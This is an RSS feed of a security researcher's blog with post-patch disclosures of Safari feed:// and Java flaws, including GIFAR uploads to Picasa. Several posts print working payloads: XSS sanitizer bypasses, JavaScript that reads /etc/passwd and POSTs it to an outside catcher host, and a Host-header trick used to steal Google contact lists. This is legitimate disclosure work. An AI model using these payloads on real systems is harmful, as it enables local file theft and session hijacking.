<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Billy (BK) Rios &#187; Security</title>
	<atom:link href="http://xs-sniper.com/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://xs-sniper.com/blog</link>
	<description>Thoughts on Security in an Uncivilized World…</description>
	<lastBuildDate>Mon, 02 Aug 2010 09:54:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Stealing Files With Safari 5 (CVE-2010-1778)</title>
		<link>http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/</link>
		<comments>http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 09:54:05 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=304</guid>
		<description><![CDATA[Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778). Here’s a breakdown of how you can [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “<em>cause files from the user’s system to be sent to a remote server</em>”.  The advisory can be found <span style="text-decoration: underline;"><strong><a title="Safari Advisory" href="http://support.apple.com/kb/HT4276" target="_blank">here</a></strong></span> (CVE-2010-1778).</p>
<p>Here’s a breakdown of how you can get “<em>files from the user’s system to be sent to a remote server</em>”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (<a title="RSS Feed" href="http://xs-sniper.com/blog/feed/rss/" target="_blank">http://xs-sniper.com/blog/feed/rss/</a>) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You&#8217;ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari&#8217;s transform).</p>
<p>When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is <strong>NOT </strong>subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn&#8217;t necessary for the exploit, it adds a bit of flava&#8230;):</p>
<blockquote><p>&lt;category term=&#8221;Hip Hop/Rap&#8221; scheme=&#8221;http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2&#8243; label=&#8221;Hip Hop/Rap&#8221;/&gt;</p>
<p>&lt;link title=&#8221;Preview&#8221; rel=&#8221;enclosure&#8221; type=<span style="color: #ff0000;"><strong>&#8216;video/x-m4&#8243;&#8211;&gt;&lt;script src=&#8221;http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js&#8221;&gt;<br />
&lt;/script&gt;&#8217;</strong></span> href=&#8221;data:text/html,testtesttest&#8221; im:assetType=&#8221;preview&#8221;&gt;&lt;im:duration&gt;30864&lt;/im:duration&gt;&lt;/link&gt;</p>
<p>&lt;im:artist href=&#8221;http://itunes.apple.com/us/artist/jay-z/id112080?uo=2&#8243;&gt;Jay-Z&lt;/im:artist&gt;<img src="file:///C:/Users/BK/Documents/Personal/Blog/8-2-%20Safari%20RSS/attacker%20XML.PNG" alt="" /></p></blockquote>
<p>The XML above is transformed into the following by Safari’s feed processing routines:</p>
<blockquote><p>&lt;div&gt;</p>
<p><span style="color: #ff0000;">&lt;!&#8211;    &lt;img src=&#8221;feed:///__icon32__/video/x-m4&#8243;&#8211;&gt;&lt;script src=&#8221;http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js&#8221;&gt; &lt;/script&gt;&#8221;&gt; &#8211;&gt;</span></p>
<p>&lt;img src=&#8221;file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg&#8221; height=&#8221;32&#8243; width=&#8221;32&#8243;/&gt;</p></blockquote>
<p>The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found <a title="Feedpwn" href="http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml" target="_blank">here</a> (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Safari 3.2.2 Feed Protocol Handler Issues</title>
		<link>http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/</link>
		<comments>http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 07:37:07 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[Local File]]></category>
		<category><![CDATA[Protocol Handling]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=265</guid>
		<description><![CDATA[A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found <strong><a title="Apple Advisory" href="http://support.apple.com/kb/HT3550" target="_blank"><em>here</em></a></strong>.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found <a title="Stealing More Files With Safari" href="http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/" target="_blank"><strong><em>here</em></strong></a>.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari&#8217;s feed handling.  Here’s what we ended up with:</p>
<p>Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:</p>
<blockquote><p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br />
…<br />
&lt;entry&gt;<br />
&lt;updated&gt;2009-02-16T05:17:15-07:00&lt;/updated&gt;<br />
&lt;id&gt;http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;amp;id=287463411&amp;amp;s=143441&lt;/id&gt;<br />
&lt;title&gt;No Exit &#8211; Battlestar Galactica (&amp;#39;04)&lt;/title&gt;<br />
&lt;summary&gt;On the Cylon baseship, Cavil confronts the last member of the Final Five.&lt;/summary&gt;<br />
&lt;im:name&gt;No Exit&lt;/im:name&gt;<br />
&lt;link rel=&#8221;alternate&#8221; type=&#8221;text/html&#8221; href=&#8221;http://www.google.com&#8221; /&gt;<br />
&lt;im:contentType term=&#8221;TV Show&#8221; label=&#8221;TV Show&#8221;&gt;&lt;im:contentType term=&#8221;TV Episode&#8221; label=&#8221;TV Episode&#8221;/&gt;&lt;/im:contentType&gt;<br />
&lt;category term=&#8221;Sci Fi &amp;amp; Fantasy&#8221; scheme=&#8221;scheme&#8221;/&gt;<br />
…<br />
&lt;/entry&gt;<br />
&lt;/feed&gt;</p></blockquote>
<p>Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous <a title="Stealing More Files With Safari" href="http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/" target="_blank"><strong><em>post</em></strong></a>, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the &#8220;Summary&#8221; tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.</p>
<blockquote><p>…</p>
<p>&lt;title&gt;No Exit &#8211; Battlestar Galactica (&amp;#39;04)&lt;/title&gt;<br />
&lt;summary&gt;On the Cylon baseship, Cavil confronts the last member of the Final Five.<span style="color: #ff0000;">&lt;script&gt;alert(1)&lt;/script&gt;</span>&lt;/summary&gt;<br />
&lt;im:name&gt;No Exit&lt;/im:name&gt;<br />
…</p></blockquote>
<p>Which is converted to HTML by Safari and rendered under feed://  as:</p>
<blockquote><p>…<br />
&lt;div class=&#8221;apple-rss-author&#8221; title=&#8221;iTunes Store&#8221;&gt;iTunes Store&lt;/div&gt;</p>
<p>&lt;div class=&#8221;apple-rss-summary&#8221; &gt;On the Cylon baseship, Cavil confronts the last member of the Final Five.<span style="color: #ff0000;">&lt;script&gt;alert(1)&lt;/script&gt;</span>&lt;/div&gt;</p>
<p>&lt;div class=&#8221;apple-rss-date&#8221; title=&#8221;Feb 16, 4:17 AM&#8221;&gt;Feb 16, 4:17 AM&lt;/div&gt;<br />
…</p></blockquote>
<p>Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (&lt;3.2.2):</p>
<blockquote><p>&lt;summary&gt;On the Cylon baseship, Cavil confronts the last member of the Final Five.<br />
&lt;script&gt;<br />
var contents;<br />
var req;<br />
req = new XMLHttpRequest();<br />
req.onreadystatechange = processReqChange;<br />
req.open(&#8216;GET&#8217;, &#8216;file:///etc/passwd&#8217;, true);<br />
req.send(&#8221;);</p>
<p>function processReqChange() {<br />
if (req.readyState == 4) {<br />
contents = req.responseText;<br />
sendit2XSSniper(contents);<br />
}<br />
}<br />
function sendit2XSSniper(stuff){<br />
var req2;<br />
req2 = new XMLHttpRequest();<br />
req2.open(&#8216;POST&#8217;, &#8216;http://xs-sniper.com/sniperscope/catcher.php&#8217;, true);<br />
req2.setRequestHeader(&#8216;Content-Type&#8217;,'application/x-www-form-urlencoded&#8217;);<br />
req2.send(&#8216;filename=etcpasswd&amp;filecontents=&#8217;+escape(stuff));<br />
}<br />
&lt;/script&gt;<br />
&lt;/summary&gt;</p></blockquote>
<p>This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found <a title="PoC" href="http://xs-sniper.com/sniperscope/Safari/feed-protocol-reloaded/feed-sploit2.php" target="_blank"><em><strong>here </strong></em></a>(PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   Happy hunting!</p>
<p>BK</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Stealing More Files with Safari</title>
		<link>http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/</link>
		<comments>http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 18:42:33 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Client Side]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[File stealing]]></category>
		<category><![CDATA[Protocol Handling]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=219</guid>
		<description><![CDATA[Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to [...]]]></description>
			<content:encoded><![CDATA[<p>Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found <a title="OS X Advisory" href="http://support.apple.com/kb/HT3438" target="_blank">here</a> and the Safari for Windows advisory can be found<a title="Safari for Windows Advisory" href="http://support.apple.com/kb/HT3439" target="_blank"> here</a>.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I&#8217;ll buy you guys a couple beers.</p>
<p>Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)</p>
<p>First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:</p>
<p><em><strong>feed://http://xs-sniper.com/blog/feed/</strong></em></p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2009/02/feed-proto.png"><img class="alignnone size-full wp-image-226" title="Feeds in Safari" src="http://xs-sniper.com/blog/wp-content/uploads/2009/02/feed-proto.png" alt="Feeds in Safari" width="411" height="203" /></a></p>
<p>RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:</p>
<blockquote><p>&lt;content:encoded&gt;&lt;![CDATA[ .... &gt;&lt;/content:encoded&gt;</p></blockquote>
<p>It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://</p>
<blockquote><p><em><strong>&lt;content:encoded&gt;&lt;![CDATA[<br />
&lt;body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” <span style="color: #ff0000;">onload=”javascript:alert('xss’);”“&lt;onload=””</span><br />
]]&gt;<br />
&lt;/content:encoded&gt;</strong></em></p></blockquote>
<p><em><strong></strong></em></p>
<p>Which resulted in the following being rendered by Safari:<br />
<strong><em><br />
</em></strong></p>
<blockquote><p><strong><em>…</em></strong>.<br />
&lt;div class=&#8221;apple-rss-article-body&#8221;&gt;<br />
&lt;body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” <span style="color: #ff0000;">onload=”javascript:alert(‘xss’);”&gt;<br />
&lt;onload&gt;&lt;/onload&gt;</span><br />
&lt;/body&gt;<br />
&lt;!&#8211; end articlebody &#8211;&gt;&lt;/div<br />
….</p></blockquote>
<p>As you can see, Safari&#8217;s filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.</p>
<blockquote><p>&lt;body src=&#8221;http://xs-sniper.com/images/React-Team-Leader.JPG&#8221; onload=&#8221;javascript:alert(&#8216;loading /etc/passwd into javascript&#8217;);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(&#8216;GET&#8217;, &#8216;file:////etc/passwd&#8217;, true);req.send(&#8221;);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}&#8221; &lt;onload=&#8221;"</p></blockquote>
<p>Proof of concept can be found here.</p>
<p><a title="File Stealing" href="http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php" target="_blank">http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php</a></p>
<p>The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a &#8220;&lt;script src=http://XS-Sniper&#8217;s-IP-Address/dynamic.js&gt;&#8221; (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.</p>
<p>I&#8217;m very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we&#8217;re lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SUN Fixes GIFARs</title>
		<link>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/</link>
		<comments>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 09:22:26 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Applet]]></category>
		<category><![CDATA[contact list]]></category>
		<category><![CDATA[GIFARs]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[pwnd]]></category>
		<category><![CDATA[SUN]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webapp]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=190</guid>
		<description><![CDATA[Last week, Sun released a patch for a vulnerability I reported to them.  The patch I’m talking about fixes the “GIFAR” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, Sun released a<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5343" target="_blank"> patch for a vulnerability I reported to them</a>.  The patch I’m talking about fixes the “<a title="GIFAR... what the hell is it?" href="http://blogs.zdnet.com/security/?p=1619" target="_blank">GIFAR</a>” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack.  Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).</p>
<p>Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!</p>
<p>As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great <a title="pdp" href="http://www.gnucitizen.org/blog/java-jar-attacks-and-features/" target="_blank">write up</a>), but I first learned of the technique from <a title="LifeHacker" href="http://lifehacker.com/software/privacy/geek-to-live--hide-data-in-files-with-easy-steganography-tools-230915.php" target="_blank">Lifehacker.com in this post</a>.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide1.png" target="_blank"><img class="alignnone size-medium wp-image-193" title="header" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide1-300x225.png" alt="header" width="300" height="225" /></a></p>
<p>The footer looks something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide2.png" target="_blank"><img class="alignnone size-medium wp-image-195" title="Footer" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide2-300x225.png" alt="Footer" width="300" height="225" /></a></p>
<p>We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.</p>
<p>When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide3.png" target="_blank"><img class="alignnone size-medium wp-image-196" title="Google Alias" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide3-300x225.png" alt="Google Alias" width="300" height="225" /></a></p>
<p>After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide4.png" target="_blank"><img class="alignnone size-medium wp-image-197" title="lh4.google.com" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide4-300x225.png" alt="lh4.google.com" width="300" height="225" /></a></p>
<p>Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s<a title="HTTPUrlConnection" href="http://java.sun.com/javase/6/docs/api/java/net/HttpURLConnection.html" target="_blank"> HTTPUrlConnection</a> object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/httpurlconnection1.png" target="_blank"><img class="alignnone size-full wp-image-204" title="httpurlconnection1" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/httpurlconnection1.png" alt="httpurlconnection1" width="493" height="201" /></a></p>
<p>Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in<a title="Code.Google" href="http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/" target="_blank"> previous posts</a>).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.</p>
<p>Java’s HTTPUrlConnection object has a method named “<a href="http://java.sun.com/javase/6/docs/api/java/net/URLConnection.html#setRequestProperty(java.lang.String,%20java.lang.String)" target="_blank">setRequestProperty</a>”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&amp;max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&amp;max=500.  I also set the HOST header to groups-beta.google.com.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/host.png" target="_blank"><img class="alignnone size-full wp-image-199" title="host" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/host.png" alt="host" width="494" height="124" /></a></p>
<p>When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide5.png" target="_blank"><img class="alignnone size-medium wp-image-200" title="All your contacts are belong to us" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide5-300x225.png" alt="All your contacts are belong to us" width="300" height="225" /></a></p>
<p>It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this,<a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx" target="_blank"> IE has had MIME sniffing issues with images</a>, <a href="http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html" target="_blank">Flash had crossdomain.xml issues with images</a>, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Stealing Files with Safari</title>
		<link>http://xs-sniper.com/blog/2008/11/19/stealing-files-with-safari/</link>
		<comments>http://xs-sniper.com/blog/2008/11/19/stealing-files-with-safari/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 09:07:14 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[Boundary]]></category>
		<category><![CDATA[File]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Local File]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[showDocument]]></category>
		<category><![CDATA[Stealing]]></category>
		<category><![CDATA[XMLHTTP]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=182</guid>
		<description><![CDATA[Apple recently patched a vulnerability Nitesh &#8220;Leisure Suit&#8221; Dhanjani and I reported to them last week (CVE-2008-4216).  We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released. The basic gist of this vulnerability [...]]]></description>
			<content:encoded><![CDATA[<p>Apple recently patched a vulnerability <a title="Leisure Suit" href="http://dhanjani.com/" target="_blank">Nitesh &#8220;Leisure Suit&#8221; Dhanjani</a> and I reported to them last week (<a title="Apple Security" href="http://support.apple.com/kb/HT3298" target="_blank">CVE-2008-4216</a>).  We had reported a similar vulnerability to Apple about two months ago (<a title="Apple Security" href="http://support.apple.com/kb/HT3179" target="_blank">CVE-2008-3638</a>).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.<br />
<br />
The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary.  The issue starts simply enough with a victim visiting an attackers webpage.  Once on the attacker’s webpage, the attacker simply loads a Java Applet.  Inside of the applet is a call to getAppletContext().showDocument(URL);<br />
<br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/11/showdoc.png"><img class="alignnone size-medium wp-image-187" title="showDocument" src="http://xs-sniper.com/blog/wp-content/uploads/2008/11/showdoc-300x121.png" alt="" width="300" height="121" /></a><br />
<br />
getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument().  Normally, browsers will not let remote sites open new browser windows which point to local files.  It seemed that Safari had some issues determining the specific  “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system. <br />
<br />
